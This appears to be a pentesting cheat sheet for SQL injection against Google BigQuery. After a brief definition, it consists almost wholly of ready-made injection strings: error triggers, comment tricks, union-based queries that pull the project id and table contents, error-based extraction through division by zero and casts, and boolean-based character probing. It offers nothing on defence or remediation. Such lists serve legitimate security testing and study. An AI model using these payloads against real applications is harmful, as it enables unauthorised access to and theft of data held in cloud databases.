> Google BigQuery SQL Injection is a type of security vulnerability where an attacker can execute arbitrary SQL queries on a Google BigQuery database by manipulating user inputs that are incorporated into SQL queries without proper sanitization. This can lead to unauthorized data access, data manipulation, or other malicious activities.
* Use a classic single quote to trigger an error: `'`
* Identify BigQuery using backtick notation: ```SELECT .... FROM `` AS ...```
```ps1
# Gathering project id
select @@project_id
# Gathering all dataset names
select schema_name from INFORMATION_SCHEMA.SCHEMATA
# Gathering data from specific project id & dataset
select * from `project_id.dataset_name.table_name`
```
## BigQuery Comment
```ps1
select 1#from here it is not working
select 1/*between those it is not working*/
```
## BigQuery Union Based
```ps1
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM (select column_name AS new_name from `project_id.dataset_name.table_name`) AS A GROUP BY column_name#
```
## BigQuery Error Based
```ps1
# Error based - division by zero
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
# Error based - casting: select CAST(@@project_id AS INT64)
dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC#
```
## BigQuery Boolean Based
```ps1
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
```
## BigQuery Time Based
* Time based functions does not exist in the BigQuery syntax.
